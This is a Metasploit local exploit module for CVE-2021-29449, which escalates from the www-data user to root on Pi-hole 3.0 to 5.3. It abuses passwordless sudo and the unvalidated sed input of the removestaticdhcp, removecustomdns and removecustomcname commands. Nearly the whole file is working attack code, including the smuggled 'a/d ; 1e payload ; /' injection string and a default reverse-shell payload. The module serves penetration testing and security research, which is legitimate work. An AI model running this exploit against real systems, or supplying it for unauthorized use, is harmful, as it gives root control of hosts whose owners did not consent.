##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # for whoami
  include Msf::Post::Unix
  # for get_session_pid needed by whoami
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
        'Description' => %q{
          Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
          removecustomdns, and removestaticdhcp functions without properly validating
          the parameters before passing to sed.  When executed as the www-data user,
          this allows for a privilege escalation to root since www-data is in the
          sudoers.d/pihole file with no password.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
        ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
        'Payload' => {
          'BadChars' => "\x27" # '
        },
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
          [ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
          [ 'CVE', '2021-29449' ]
        ],
        'DisclosureDate' => '2021-04-20',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        },
        'Targets' => [
          ['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
          ['DNS', { 'min' => Rex::Version.new('5.0') }],
          ['CNAME', { 'min' => Rex::Version.new('5.1') }],
        ],
        'DefaultTarget' => 0
      )
    )
  end

  def sudo_pihole
    'sudo -n /usr/local/bin/pihole -a'
  end

  def pihole_version
    version = cmd_exec('sudo -n /usr/local/bin/pihole -v')
    /Pi-hole version is v([^ ]+)/ =~ version
    Rex::Version.new(Regexp.last_match(1))
  end

  def check
    w = whoami
    print_status("Current user: #{w}")
    v = pihole_version
    print_status("Pi-hole version: #{v}")
    unless v.between?(target['min'], Rex::Version.new('5.3'))
      return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
    end
    unless w == 'www-data'
      return CheckCode::Safe("User must be www-data, currently #{w}")
    end

    CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
  end

  def method_dhcp
    f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
    if !file?(f) || read_file(f).empty?
      mac = Faker::Internet.mac_address
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding static DHCP #{mac} #{ip}")
      cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removestaticdhcp command')
    cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
    if mac
      cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
    end
  end

  def method_dns
    f = '/etc/pihole/custom.list'
    if !file?(f) || read_file(f).empty?
      name = Faker::Internet.domain_name
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding DNS entry #{name} #{ip}")
      cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomdns command')
    cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
    end
  end

  def method_cname
    f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
    if !file?(f) || read_file(f).empty?
      name = "#{rand_text_alphanumeric(8..12)}.edu"
      print_status("Adding CNAME entry #{name}")
      cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomcname command')
    cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
    end
  end

  def exploit
    if target.name == 'DHCP'
      method_dhcp
    elsif target.name == 'DNS'
      method_dns
    elsif target.name == 'CNAME'
      method_cname
    end
  end
end
